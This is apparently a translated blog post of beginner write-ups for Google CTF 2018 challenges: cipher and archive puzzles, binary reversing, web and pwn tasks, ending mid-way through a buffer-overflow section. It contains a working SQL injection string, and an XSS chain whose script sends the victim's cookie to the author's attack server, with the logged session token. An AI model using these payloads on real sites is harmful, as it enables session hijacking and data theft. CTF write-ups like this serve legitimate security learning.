This article was machine-translated from the Japanese version.
This article is for day 19 of the CTF Advent Calendar 2018. Day 18 was mage_1868’s MortAl mage aGEnts write-up.
As a CTF beginner, I’ve been working through the Google CTF 2018 Beginners Quest, and I’m putting together the write-ups I’ve been writing in my Diary. I haven’t finished them all yet, so I’ll add the rest as soon as I solve them.
I was planning to write about the tools I used as well, but since it would get too long, I’ll save that for another time. If you have any comments, please reach out on Twitter or Mastodon.
Misc
LETTER
A single PDF file is provided. You get the flag by searching with a viewer.

OCR IS COOL!
A single PNG file, which is a capture of a Gmail message body, is provided.
Based on the text, it looks like a ROT N cipher, so you decrypt VMY{vtxltkvbiaxkbltlnulmbmnmbhgvbiaxk} in the body. Since the flag is in the CTF{...} format, you can tell it’s ROT 7.
I used CyberChef for the decryption.

SECURITY BY OBSCURITY
A single file is provided. The file command shows it’s a zip, so you extract it.
After extracting to a certain point, the extension changes, so you keep extracting by changing the commands for zip, xz, bz2, and gz until finally, a password-protected zip appears.
Check the password using brute force, extract it, and get the flag. I used fcrackzip here.
- Extraction script
import os
import filetype
import zipfile
import subprocess
import gzip
filepath = 'password.x.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.p.o.n.m.l.k.j.i.h.g.f.e.d.c.b.a.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p'
while True:
extension = filetype.guess(filepath).extension
print('%s: %s' % (extension, filepath))
if extension == 'zip':
with zipfile.ZipFile(filepath) as f:
f.extractall()
elif extension == 'xz':
subprocess.call(['7z', 'e', filepath])
elif extension == 'bz2':
subprocess.call(['bzip2', '-d', filepath])
os.rename(filepath + '.out', '.'.join(filepath.split('.')[0:-1]))
elif extension == 'gz':
with gzip.open(filepath) as f:
with open('.'.join(filepath.split('.')[0:-1]), 'wb') as nf:
nf.write(f.read())
filepath = '.'.join(filepath.split('.')[0:-1])
- brute force
$ fcrackzip -l 4 -u -b password.x
PASSWORD FOUND!!!!: pw == asdf
$ unzip password.x
Archive: password.x
[password.x] password.txt password:
extracting: password.txt
$ cat password.txt
CTF{DUMMY_FLAG}
FLOPPY
$ file foo.ico
foo.ico: MS Windows icon resource - 1 icon, 32x32, 16 colors
An .ico file is provided. Since there’s nothing unusual about the image itself, I checked the contents with a hex editor.

The magic number PK indicating a zip file is present in the latter half of the data, followed by strings like driver.txt that look like a zip archive. Therefore, I saved all data from PK onwards as a new file and unzipped it.
$ unzip foo.zip
Archive: foo.zip
inflating: driver.txt
inflating: www.com
The contents of driver.txt will be the flag.
FLOPPY2
Since I couldn’t solve it on my own, I referred to Google CTF: Beginner Quest: FLOPPY2 (Debugging DOS Programs).
The file in FLOPPY where the flag was written said In case of emergency, run www.com, and as you can tell from the word run, this file is executable. (This is the part I didn’t get.)
$ cat driver.txt
This is the driver for the Aluminum-Key Hardware password storage device.
CTF{DUMMY}
In case of emergency, run www.com
COM files1 are executable in MS-DOS, and here we will emulate them using DOSBox2. On Debian-based systems, you can install it via apt.
To assist with the debugging mentioned later, install the DOSBox debugger3 as well.
Place www.com and the DEBUG.COM included with the debugger into a suitable directory. From here on, this directory will be referred to as workdir.

Launch dosbox and mount workdir as C: using mount c ./workdir. Move to the mounted drive with c:.

Run DEBUG.COM WWW.COM to open WWW.COM in the debugger. In the debugger, execute WWW.COM with g, then dump the execution results with d. Obtain the flag.
- Aside
Since www.com contains control characters within the text, the flag won’t be displayed if you just run it normally.4
Even without using a debugger, you can obtain the flag by saving the output to a file and opening it with a text or binary editor.
MEDIA-DB
A python script for manipulating sqlite3 is provided.
When the script is launched, the flag is registered in the oauth_token column of the oauth_tokens table.
with open('oauth_token') as fd:
flag = fd.read()
conn = sqlite3.connect(':memory:')
c = conn.cursor()
c.execute("CREATE TABLE oauth_tokens (oauth_token text)")
c.execute("CREATE TABLE media (artist text, song text)")
c.execute("INSERT INTO oauth_tokens VALUES ('{}')".format(flag))
Several functions can be executed after that, but the insert function doesn’t escape single quotes.
if choice == '1':
my_print("artist name?")
artist = raw_input().replace('"', "")
my_print("song name?")
song = raw_input().replace('"', "")
c.execute("""INSERT INTO media VALUES ("{}", "{}")""".format(artist, song))
There is also a feature that picks a random artist from the media table and uses the result directly in the where clause.
elif choice == '4':
artist = random.choice(list(c.execute("SELECT DISTINCT artist FROM media")))[0]
my_print("choosing songs from random artist: {}".format(artist))
print_playlist("SELECT artist, song FROM media WHERE artist = '{}'".format(artist))
Therefore, by inserting a string from which the oauth_token value can be retrieved as the artist name, you can obtain the flag by using that string through the random function.
% nc media-db.ctfcompetition.com 1337
=== Media DB ===
1) add song
2) play artist
3) play song
4) shuffle artist
5) exit
> 1
artist name?
1' OR '1' = '1' UNION ALL SELECT oauth_token, oauth_token FROM oauth_tokens; --
song name?
a
1) add song
2) play artist
3) play song
4) shuffle artist
5) exit
> 4
choosing songs from random artist: 1' OR '1' = '1' UNION ALL SELECT oauth_token, oauth_token FROM oauth_tokens; --
== new playlist ==
1: "a" by "1' OR '1' = '1' UNION ALL SELECT oauth_token, oauth_token FROM oauth_tokens; -- "
2: "CTF{DUMMY_FLAG}
" by "CTF{DUMMY_FLAG}
"
Reversing
FIRMWARE
I was given ext4 filesystem data. After mounting it, I found a file named .mediapc_backdoor_password.gz. Since it looked incredibly suspicious, I checked the contents and got the flag.
I discovered this file while running a check with testdisk.
$ mkdir /mnt/challenge
$ mount challenge.ext4 /mnt/challenge
$ ls -la /mnt/challenge
total 40
drwxr-xr-x. 22 root root 1024 Jun 22 09:54 .
drwxr-xr-x. 3 root root 23 Nov 11 04:56 ..
-rw-r--r--. 1 root root 40 Jun 22 09:54 .mediapc_backdoor_password.gz
drwxr-xr-x. 2 root root 3072 Jun 22 09:54 bin
drwxr-xr-x. 2 root root 1024 Jun 22 09:54 boot
drwxr-xr-x. 4 root root 1024 Jun 22 09:54 dev
drwxr-xr-x. 52 root root 4096 Jun 22 09:54 etc
drwxr-xr-x. 2 root root 1024 Jun 22 09:54 home
drwxr-xr-x. 12 root root 1024 Jun 22 09:54 lib
drwxr-xr-x. 2 root root 1024 Jun 22 09:54 lib64
drwx------. 2 root root 12288 Jun 22 09:51 lost+found
drwxr-xr-x. 2 root root 1024 Jun 22 09:54 media
drwxr-xr-x. 2 root root 1024 Jun 22 09:54 mnt
drwxr-xr-x. 2 root root 1024 Jun 22 09:54 opt
drwxr-xr-x. 2 root root 1024 Jun 22 09:54 proc
drwx------. 2 root root 1024 Jun 22 09:54 root
drwxr-xr-x. 4 root root 1024 Jun 22 09:54 run
drwxr-xr-x. 2 root root 3072 Jun 22 09:54 sbin
drwxr-xr-x. 2 root root 1024 Jun 22 09:54 srv
drwxr-xr-x. 2 root root 1024 Jun 22 09:54 sys
drwxr-xr-x. 2 root root 1024 Jun 22 09:54 tmp
drwxr-xr-x. 10 root root 1024 Jun 22 09:54 usr
drwxr-xr-x. 9 root root 1024 Jun 22 09:54 var
$ gzip -d /mnt/challenge/.mediapc_backdoor_password.gz
$ cat /mnt/challenge/.mediapc_backdoor_password
CTF{DUMMY_FLAG}
GATEKEEPER
You are given an ELF file that asks for a username and password.
$ ./gatekeeper
/===========================================================================\
| Gatekeeper - Access your PC from everywhere! |
+===========================================================================+
[ERROR] Login information missing
Usage: ./gatekeeper <username> <password>
Check RSI at the strcmp execution point in gdb-peda.
The first time it’s 0n3_W4rM. Since this is the username, set it as the first argument and run it again.
[----------------------------------registers-----------------------------------]
RAX: 0x7fffffffe7f8 --> 0x4242004141414141 ('AAAAA')
RBX: 0x0
RCX: 0xb48 ('H\x0b')
RDX: 0x2e ('.')
RSI: 0x555555554de0 ("0n3_W4rM")
RDI: 0x7fffffffe7f8 --> 0x4242004141414141 ('AAAAA')
RBP: 0x7fffffffe490 --> 0x0
RSP: 0x7fffffffe3e0 --> 0x7fffffffe578 --> 0x7fffffffe7d0 ("/media/sf_VirtualBoxCentOS/./gatekeeper")
RIP: 0x555555554a46 (<main+143>: call 0x555555554770 <strcmp@plt>)
R8 : 0x2e ('.')
R9 : 0x7ffff7ff1740 (0x00007ffff7ff1740)
R10: 0x7fffffffde20 --> 0x0
R11: 0x246
R12: 0x5555555547c0 (<_start>: xor ebp,ebp)
R13: 0x7fffffffe570 --> 0x3
R14: 0x0
R15: 0x0
EFLAGS: 0x212 (carry parity ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x555555554a39 <main+130>: mov rax,QWORD PTR [rax]
0x555555554a3c <main+133>: lea rsi,[rip+0x39d] # 0x555555554de0
0x555555554a43 <main+140>: mov rdi,rax
=> 0x555555554a46 <main+143>: call 0x555555554770 <strcmp@plt>
0x555555554a4b <main+148>: test eax,eax
0x555555554a4d <main+150>: je 0x555555554a7b <main+196>
0x555555554a4f <main+152>: mov edi,0xa
0x555555554a54 <main+157>: call 0x555555554710 <putchar@plt>
Guessed arguments:
arg[0]: 0x7fffffffe7f8 --> 0x4242004141414141 ('AAAAA')
arg[1]: 0x555555554de0 ("0n3_W4rM")
The second time is zLl1ks_d4m_T0g_I. Set this as the second argument and run it again.
[----------------------------------registers-----------------------------------]
RAX: 0x555555757010 --> 0x4242424242 ('BBBBB')
RBX: 0x0
RCX: 0xb48 ('H\x0b')
RDX: 0x2e ('.')
RSI: 0x555555554e01 ("zLl1ks_d4m_T0g_I")
RDI: 0x555555757010 --> 0x4242424242 ('BBBBB')
RBP: 0x7fffffffe480 --> 0x0
RSP: 0x7fffffffe3d0 --> 0x7fffffffe568 --> 0x7fffffffe7cd ("/media/sf_VirtualBoxCentOS/./gatekeeper")
RIP: 0x555555554b57 (<main+416>: call 0x555555554770 <strcmp@plt>)
R8 : 0x2e ('.')
R9 : 0x7ffff7ff1740 (0x00007ffff7ff1740)
R10: 0x7fffffffde20 --> 0x0
R11: 0x246
R12: 0x5555555547c0 (<_start>: xor ebp,ebp)
R13: 0x7fffffffe560 --> 0x3
R14: 0x0
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x555555554b49 <main+402>: mov rax,QWORD PTR [rbp-0x10]
0x555555554b4d <main+406>: lea rsi,[rip+0x2ad] # 0x555555554e01
0x555555554b54 <main+413>: mov rdi,rax
=> 0x555555554b57 <main+416>: call 0x555555554770 <strcmp@plt>
0x555555554b5c <main+421>: test eax,eax
0x555555554b5e <main+423>: jne 0x555555554bba <main+515>
0x555555554b60 <main+425>: lea rdi,[rip+0x2ab] # 0x555555554e12
0x555555554b67 <main+432>: call 0x5555555548ca <text_animation>
Guessed arguments:
arg[0]: 0x555555757010 --> 0x4242424242 ('BBBBB')
arg[1]: 0x555555554e01 ("zLl1ks_d4m_T0g_I")
Second strcmp. RDI should contain the second argument, but it has changed from zLl1ks_d4m_T0g_I to I_g0T_m4d_sk1lLz. Since the behaviour and results show it’s being reversed for comparison, I’ll set it to I_g0T_m4d_sk1lLz and run it again.
[----------------------------------registers-----------------------------------]
RAX: 0x555555757010 ("I_g0T_m4d_sk1lLz")
RBX: 0x0
RCX: 0xb48 ('H\x0b')
RDX: 0x2e ('.')
RSI: 0x555555554e01 ("zLl1ks_d4m_T0g_I")
RDI: 0x555555757010 ("I_g0T_m4d_sk1lLz")
RBP: 0x7fffffffe480 --> 0x0
RSP: 0x7fffffffe3d0 --> 0x7fffffffe568 --> 0x7fffffffe7c2 ("/media/sf_VirtualBoxCentOS/./gatekeeper")
RIP: 0x555555554b57 (<main+416>: call 0x555555554770 <strcmp@plt>)
R8 : 0x2e ('.')
R9 : 0x7ffff7ff1740 (0x00007ffff7ff1740)
R10: 0x7fffffffde20 --> 0x0
R11: 0x246
R12: 0x5555555547c0 (<_start>: xor ebp,ebp)
R13: 0x7fffffffe560 --> 0x3
R14: 0x0
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x555555554b49 <main+402>: mov rax,QWORD PTR [rbp-0x10]
0x555555554b4d <main+406>: lea rsi,[rip+0x2ad] # 0x555555554e01
0x555555554b54 <main+413>: mov rdi,rax
=> 0x555555554b57 <main+416>: call 0x555555554770 <strcmp@plt>
0x555555554b5c <main+421>: test eax,eax
0x555555554b5e <main+423>: jne 0x555555554bba <main+515>
0x555555554b60 <main+425>: lea rdi,[rip+0x2ab] # 0x555555554e12
0x555555554b67 <main+432>: call 0x5555555548ca <text_animation>
Guessed arguments:
arg[0]: 0x555555757010 ("I_g0T_m4d_sk1lLz")
arg[1]: 0x555555554e01 ("zLl1ks_d4m_T0g_I")
I_g0T_m4d_sk1lLz is the password, and you get the flag.
$ ./gatekeeper 0n3_W4rM I_g0T_m4d_sk1lLz
/===========================================================================\
| Gatekeeper - Access your PC from everywhere! |
+===========================================================================+
~> Verifying.......Correct!
Welcome back!
CTF{DUMMY_FLAG}
Web
JS SAFE
Since I couldn’t solve it on my own, I referred to Hacking Livestream #57: Google CTF 2018 Beginners Quest and CTFtime.org / Google Capture The Flag 2018 (Quals) / Beginner’s Quest - JS Safe 1.0 / Writeup.
A file named js_safe_1.html was provided as an attachment, which displays a text box when opened in a browser. Entering any random string results in an “Access Denied” message.

<script>
const alg = { name: 'AES-CBC', iv: Uint8Array.from([211,42,178,197,55,212,108,85,255,21,132,210,209,137,37,24])};
const secret = Uint8Array.from([26,151,171,117,143,168,228,24,197,212,192,15,242,175,113,59,102,57,120,172,50,64,201,73,39,92,100,64,172,223,46,189,65,120,223,15,34,96,132,7,53,63,227,157,15,37,126,106]);
async function open_safe() {
keyhole.disabled = true; /* keyholeは表示されているテキストボックス */
password = /^CTF{([0-9a-zA-Z_@!?-]+)}$/.exec(keyhole.value);
if (!password || !(await x(password[1]))) return document.body.className = 'denied';
document.body.className = 'granted';
const pwHash = await crypto.subtle.digest('SHA-256', new TextEncoder().encode(password[1]));
const key = await crypto.subtle.importKey('raw', pwHash, alg, false, ['decrypt']);
content.value = new TextDecoder("utf-8").decode(await crypto.subtle.decrypt(alg, key, secret))
}
</script>
Looking at the source code, if the string entered into the text box matches the regular expression /^CTF{([0-9a-zA-Z_@!?-]+)}$/, the string inside the curly braces is passed as an argument to function x; if the result is true, it decodes some kind of binary sequence.
<script>
async function x(password) {
// TODO: check if they can just use Google to get the password once they understand how this works.
var code = 'icffjcifkciilckfmckincmfockkpcofqcoircqfscoktcsfucsivcufwcooxcwfycwiAcyfBcwkCcBfDcBiEcDfFcwoGcFfHcFiIcHfJcFkKcJfLcJiMcLfNcwwOcNNPcOOQcPORcQNScRkTcSiUcONVcUoWcOwXcWkYcVkЀcYiЁcЀfЂcQoЃcЂkЄcЃfЅcPNІcЅwЇcІoЈcЇiЉcЈfЊcPkЋcЊiЌcІiЍcЌfЎcWoЏcЎkАcЏiБcІkВcБfГcNkДcГfЕcЇkЖcЕiЗcЖfИcRwЙcИoКcЙkЛcUkМcЛiНcМfОcИkПcОiРcПfСcUwТcСiУcQkФcУiХcЃiЦcQwЧcЦoШcЧkЩcШiЪcЩfЫcRiЬcЫfЭcКiЮcЭfЯcСoаcЯiбcГiвcЙiгcRoдcгkеcдiжdТaзcЛfиdзaжcжийcСkкdйaжcжклcйfмdлaжcжмнdТaжcжноdЀaжcжопdNaжcжпрcUiсcрfтdсaуdЁaтcтутcтофcТfхdфaтcтхтcтктcтнтcтмцdсaтcтцтcтктcтутcтнчaaтшdЯaщcйiъcщfыdъaьcжыэcVfюdэaьcьюьcьояdЛaьcьяьcьуьcьыѐчшьёѐшшђcOfѓdђaѓcѓнѓcѓнєcUfѕdєaѓcѓѕіcЯfїdіaѓcѓїјaёѓљaaтњcжшћcЎiќcћfѝdќaњcњѝњcњeўcЏfџdўaњcњџѠdАaњcњѠњcњшњcњѝњcњfњcњџѡљшњѢaaтѣcжшѣcѣѝѣcѣeѣcѣџѤcЯkѥdѤaѣcѣѥѣcѣшѣcѣѝѣcѣfѣcѣџѦѢшѣѧcцнѧcѧїѨdСaѧcѧѨѧcѧкѧcѧуѩaёѧѪcхмѫdрaѪcѪѫѪcѪкѬdYaѪcѪѬѪcѪиѭaѩѪѮcяюѯdНaѮcѮѯѮcѮиѮcѮхѮcѮкѰaѭѮѱdVaѲcхѱѲcѲѕѳcNoѴcѳkѵcѴfѶdѵaѲcѲѶѲcѲiѲcѲlѲcѲmѷјѲgѸјѭѷѹbѰѸѺcXfѻdѺaѻcѻюѻcѻоѻcѻкѻcѻoѼdђaѻcѻѼѻcѻнѻcѻнѻcѻѕѻcѻїѽaёѻѾѽѹшѿceeҀceeҁcee҂ceeѿaѾeҀјѿT҂ѡҀшҁјh҂hѦҁшѿaѾfҀјѿV҂ѡҀшҁјh҂hѦҁшѿaѾiҀјѿU҂ѡҀшҁјh҂hѦҁшѿaѾjҀјѿX҂ѡҀшҁјh҂hѦҁшѿaѾkҀјѿЁ҂ѡҀшҁјh҂hѦҁшѿaѾlҀјѿF҂ѡҀшҁјh҂hѦҁшѿaѾmҀјѿЄ҂ѡҀшҁјh҂hѦҁшѿaѾnҀјѿЉ҂ѡҀшҁјh҂hѦҁшѿaѾoҀјѿЄ҂ѡҀшҁјh҂hѦҁшѿaѾpҀјѿЋ҂ѡҀшҁјh҂hѦҁшѿaѾqҀјѿЍ҂ѡҀшҁјh҂hѦҁшѿaѾrҀјѿА҂ѡҀшҁјh҂hѦҁшѿaѾsҀјѿF҂ѡҀшҁјh҂hѦҁшѿaѾtҀјѿВ҂ѡҀшҁјh҂hѦҁшѿaѾuҀјѿД҂ѡҀшҁјh҂hѦҁшѿaѾvҀјѿЗ҂ѡҀшҁјh҂hѦҁшѿaѾwҀјѿК҂ѡҀшҁјh҂hѦҁшѿaѾxҀјѿН҂ѡҀшҁјh҂hѦҁшѿaѾyҀјѿР҂ѡҀшҁјh҂hѦҁшѿaѾAҀјѿТ҂ѡҀшҁјh҂hѦҁшѿaѾBҀјѿФ҂ѡҀшҁјh҂hѦҁшѿaѾCҀјѿW҂ѡҀшҁјh҂hѦҁшѿaѾDҀјѿХ҂ѡҀшҁјh҂hѦҁшѿaѾEҀјѿЪ҂ѡҀшҁјh҂hѦҁшѿaѾFҀјѿЬ҂ѡҀшҁјh҂hѦҁшѿaѾGҀјѿЮ҂ѡҀшҁјh҂hѦҁшѿaѾHҀјѿа҂ѡҀшҁјh҂hѦҁшѿaѾIҀјѿe҂ѡҀшҁјh҂hѦҁшѿaѾJҀјѿб҂ѡҀшҁјh҂hѦҁшѿaѾKҀјѿв҂ѡҀшҁјh҂hѦҁшѿaѾLҀјѿK҂ѡҀшҁјh҂hѦҁшѿaѾMҀјѿе҂ѡҀшҁјh҂hѦҁшѐceeёceeѓceeјceeљceeњceeѡceeѢceeѣceeѦceeѧceeѩceeѪceeѭceeѮceeѰceeѲceeѷceeѸceeѹceeѻceeѽceeѾceeҀceeҁceeжceeтceeчceeьcee'
var env = {
a: (x,y) => x[y],
b: (x,y) => Function.constructor.apply.apply(x, y),
c: (x,y) => x+y,
d: (x) => String.fromCharCode(x),
e: 0,
f: 1,
g: new TextEncoder().encode(password),
h: 0,
};
for (var i = 0; i < code.length; i += 4) {
var [lhs, fn, arg1, arg2] = code.substr(i, 4);
try {
env[lhs] = env[fn](env[arg1], env[arg2]);
} catch(e) {
env[lhs] = new env[fn](env[arg1], env[arg2]);
}
if (env[lhs] instanceof Promise) env[lhs] = await env[lhs];
}
return !env.h;
}
</script>
In function x, the string ‘code’ is read four characters at a time, and processing is carried out based on its content. For this function to return true, the value of env.h must ultimately be null, undefined, 0, ’’ (an empty string), or false.
for (var i = 0; i < code.length; i += 4) {
var [lhs, fn, arg1, arg2] = code.substr(i, 4);
console.log('-------------------------', i, env['h']);
console.log(lhs, "=", env[fn], "(", env[arg1], ",", env[arg2], ")");
console.log(env);

I’ll perform print debugging using console.log to track changes in the env. Looking through it, for a while it seems to be generating some strings, but from i=876, I can see a process that appears to be taking the SHA-256 hash of the password argument.

After that, string generation continues for a bit longer, and at i = 940, the Uint8Array() of the hash generated earlier is assigned to env['Ѿ'].

Since the value of env.h changes for the first time at i = 980, I’ll focus on the process immediately preceding it. I’ve output arg1 and arg2 as well for debugging purposes.
At i = 960, index 0 of the previously assigned Uint8Array() is assigned to env['ѿ'], and at i = 968, the XOR of env['ѿ'] and env['T'] (= 230) is taken and assigned to env['҂']. At i = 976, the result of the OR operation between env['h'] and env['҂'] is assigned to env['h'].
In other words, to perform the operations from at least i = 960 to i = 976 and keep env.h at 0, index 0 of the Uint8Array() obtained from the hash of the password argument in function x must be 230.

Looking at the processing from i = 980 onwards, the same operations are being performed for index 1 and subsequent indices of the Uint8Array(). Basically, it seems that the result of every XOR operation needs to be 0.
var nums = [];
for (var i = 0; i < code.length; i += 4) {
var [lhs, fn, arg1, arg2] = code.substr(i, 4);
if(i >= 960 ) {
console.log('-------------------------', i, env['h']);
console.log(lhs, "=", env[fn], "(", env[arg1], ",", env[arg2], ")");
console.log(env);
console.log('arg1:', arg1, ' arg2:', arg2);
if(lhs == '҂') { nums.push(env[arg1][1]) }
}
try {
env[lhs] = env[fn](env[arg1], env[arg2]);
} catch(e) {
env[lhs] = new env[fn](env[arg1], env[arg2]);
}
if (env[lhs] instanceof Promise) env[lhs] = await env[lhs];
if(i == 884){ console.log(env[lhs]) }
}
console.log(nums);
return !env.h;
Output the values that have been XORed for i >= 960 as described above. The result is [230, 104, 96, 84, 111, 24, 205, 187, 205, 134, 179, 94, 24, 181, 37, 191, 252, 103, 247, 114, 198, 80, 206, 223, 227, 255, 122, 0, 38, 250, 29, 238].
If the SHA-256 hash value of the content inside CTF{} matches the above result, the XOR results will all become 0, and the final env.h will be 0.
import binascii
nums = [230, 104, 96, 84, 111, 24, 205, 187, 205, 134, 179, 94, 24, 181, 37, 191, 252, 103, 247, 114, 198, 80, 206, 223, 227, 255, 122, 0, 38, 250, 29, 238]
print(bytearray(nums).hex())
A Python script to convert a hash value from a byte array to a string. The result is e66860546f18cdbbcd86b35e18b525bffc67f772c650cedfe3ff7a0026fa1dee.
The string that produces this hash value can be found using services like Hash Encryption and Reverse Decryption. The flag is the obtained value placed inside CTF{}.
- Side note
Using console.log(env) for print debugging in Chrome results in unintended output5. (I got stuck on this and couldn’t solve it on my own.)
ROUTER-UI
A page is provided where you enter a username and password to sign in: https://router-ui.web.ctfcompetition.com/login

Confirming XSS Vulnerability
If we could find an XSS on the page then we could use it to steal the root user session token.
According to the problem description, XSS is executable, and it must be used to steal the root user’s session token.
First, try logging in with a normal string.

It’s unnaturally separated by //, suggesting this might be used in some scenario.
Next, try XSS by entering <script>alert(1);</script> as the username. Since Chrome and Safari have built-in XSS blocking features, Firefox was used.

alert(1) is working. Using the same procedure, I confirmed that the password field also has an XSS vulnerability.
Checking the email address mentioned in the problem description
In case you find something, try to send an email to wintermuted@googlegroups.com.
The problem description also mentions that it’s possible to send an email to someone who seems to be the administrator.
To check the behaviour, I sent an email with an empty body to wintermuted@googlegroups.com, and the following text was returned:
Hey,
I checked out your email, but I couldn't spot anything that looked like a link. Can you send it again?
It seems Wintermuted will access the link you sent.
Since there’s no way to make Wintermuted execute a script within the Sign in page, I can infer that the challenge involves setting up an attack server to steal cookies. (I didn’t think of setting up an attack server, so I got stuck here.)
Preparing the attack server
Set up an attack server and create a form that automatically performs a POST request to the Sign in page. In this case, I set up https://ctf.unigiri.net and obtained a certificate via Let’s Encrypt.
The router-ui.html file to be clicked by Wintermuted is as follows. By using the string // to separate the username and password, you can successfully execute a script that includes a URL.
All communication must be done via HTTPS. You won’t be able to obtain the cookies mentioned later through HTTP communication.
<html>
<body>
<form method="POST" action="https://router-ui.web.ctfcompetition.com/login">
<input name="username" value="<script src=https:">
<input name="password" value="ctf.unigiri.net/steal.js></script>;">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
The content of steal.js is just a single line: window.location.href='https://ctf.unigiri.net/log.php?'+document.cookie;.
As a result, when Wintermuted accesses router-ui.html, the following communication sequence occurs:
- GET https://ctf.unigiri.net/router-ui.html
- POST https://router-ui.web.ctfcompetition.com/login
- GET https://ctf.unigiri.net/log.php?COOKIE
Wintermuted’s cookie is inserted into the parameters of the third communication, and this value can be checked from the attack server’s access logs.
Executing the Attack
- Send the attack URL to Wintermuted
Enter https://ctf.unigiri.net/router-ui.html in the body and send it. There is no need to attach the cat image.
- Check the access logs
- - [15/Dec/2018:08:45:28 +0000] "GET /router-ui.html HTTP/2.0" 200 337 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/70.0.3538.77 Safari/537.36"
- - [15/Dec/2018:08:45:28 +0000] "GET /steal.js HTTP/2.0" 200 205 "https://router-ui.web.ctfcompetition.com/login" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/70.0.3538.77 Safari/537.36"
- - [15/Dec/2018:08:45:28 +0000] "GET /log.php?flag=Try%20the%20session%20cookie;%20session=Avaev8thDieM6Quauoh2TuDeaez9Weja HTTP/2.0" 404 277 "https://router-ui.web.ctfcompetition.com/login" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/70.0.3538.77 Safari/537.36"
The flag=Try... on the third line is Wintermuted’s cookie. URL decoding it gives Try the session cookie; session=Avaev8thDieM6Quauoh2TuDeaez9Weja, so proceed as instructed.
- Cookie Setup
Using a Firefox header modification plugin, access https://router-ui.web.ctfcompetition.com/ with the cookie set to session=Avaev8thDieM6Quauoh2TuDeaez9Weja.
The admin panel is displayed, and the flag is obtained from the page source.
Pwn
MOAR
Running nc moar.ctfcompetition.com 1337 opens man socat. Since shell commands can be executed using !<command>, search for suspicious files to obtain the flag.
$ nc moar.ctfcompetition.com 1337
socat(1) socat(1)
NAME socat - Multipurpose relay (SOcket CAT)
SYNOPSIS
socat [options] <address> <address>
socat -V
socat -h[h[h]] | -?[?[?]]
filan
procan
DESCRIPTION
Socat is a command line based utility that establishes two bidirec-
tional byte streams and transfers data between them. Because the
streams can be constructed from a large set of different types of data
sinks and sources (see address types), and because lots of address
options may be applied to the streams, socat can be used for many dif-
ferent purposes.
Filan is a utility that prints information about its active file
descriptors to stdout. It has been written for debugging socat, but
might be useful for other purposes too. Use the -h option to find more
Manual page socat(1) line 1 (press h for help or q to quit)!ls
!ls
bin dev home lib64 mnt proc run srv tmp var
boot etc lib media opt root sbin sys usr
!done (press RETURN)!ls /home
!ls /home
moar
!done (press RETURN)!ls /home/moar
!ls /home/moar
disable_dmz.sh
!done (press RETURN)!cat /home/moar/disable_dmz.sh
!cat /home/moar/disable_dmz.sh
#!/bin/sh
# Copyright 2018 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
echo 'Disabling DMZ using password CTF{DUMMY_FLAG}'
echo CTF{DUMMY_FLAG} > /dev/dmz
!done (press RETURN)
MESSAGE OF THE DAY
You are given the command nc motd.ctfcompetition.com 1337 and the binary motd.
Running nc displays a menu.
Choose functionality to test:
1 - Get user MOTD
2 - Set user MOTD
3 - Set admin MOTD (TODO)
4 - Get admin MOTD
5 - Exit
choice:
In this context, a single-line string stored in the program is referred to as the MOTD. Immediately after startup, MOTD: Welcome back friend! is stored as the MOTD.
Function 1 displays the MOTD for general users, 2 performs the save, 3 sets the MOTD for admins, and 4 displays it.
Looking for vulnerable behaviour
$ python -c "print('2\n'+'A'*300)" | nc motd.ctfcompetition.com 1337
Choose functionality to test:
1 - Get user MOTD
2 - Set user MOTD
3 - Set admin MOTD (TODO)
4 - Get admin MOTD
5 - Exit
choice: Enter new message of the day
New msg: New message of the day saved!
$ # The menu should have reappeared if everything was normal, but the process crashed.
Providing an arbitrarily long string in function 2 causes the program to crash, suggesting that the string length is not being checked.
Behavioural verification using IDA
; Attributes: bp-based frame
public set_motd
set_motd proc near
src= byte ptr -100h
push rbp
mov rbp, rsp
sub rsp, 100h
lea rdi, s ; "Enter new message of the day"
call _puts
lea rdi, format ; "New msg: "
mov eax, 0
call _printf
lea rax, [rbp+src]
mov rdi, rax
mov eax, 0
call _gets
lea rax, [rbp+src]
mov edx, 100h ; n
mov rsi, rax ; src
lea rdi, MOTD ; dest
call _strncpy
mov cs:byte_608071DF, 0
lea rdi, aNewMessageOfTh ; "New message of the day saved!"
call _puts
nop
leave
retn
set_motd endp
Processing details for Function 2. After allocating a buffer for MOTD input with sub rsp, 100h, it reads into [rbp+src] without checking the input length. Therefore, it’s possible to overwrite the return address here.
; Attributes: bp-based frame
public read_flag
read_flag proc near
var_110= byte ptr -110h
var_8= qword ptr -8
push rbp
mov rbp, rsp
sub rsp, 110h
lea rdx, [rbp+var_110]
mov eax, 0
mov ecx, 20h
mov rdi, rdx
rep stosq
lea rsi, modes ; "r"
lea rdi, filename ; "./flag.txt"
call _fopen
mov [rbp+var_8], rax
lea rdx, [rbp+var_110]
mov rax, [rbp+var_8]
lea rsi, aS ; "%s"
mov rdi, rax
mov eax, 0
call ___isoc99_fscanf
lea rax, [rbp+var_110]
mov rsi, rax
lea rdi, aAdminMotdIsS ; "Admin MOTD is: %s\n"
mov eax, 0
call _printf
nop
leave
retn
read_flag endp
Additionally, there is a function called read_flag that is called from function 4, which reads and outputs the contents of ./flag.txt.
It is thought that the flag can be obtained by setting the return address mentioned earlier to the starting point of this function. From IDA’s Text view, the starting point is found to be 0x606063A5.
Creating the payload
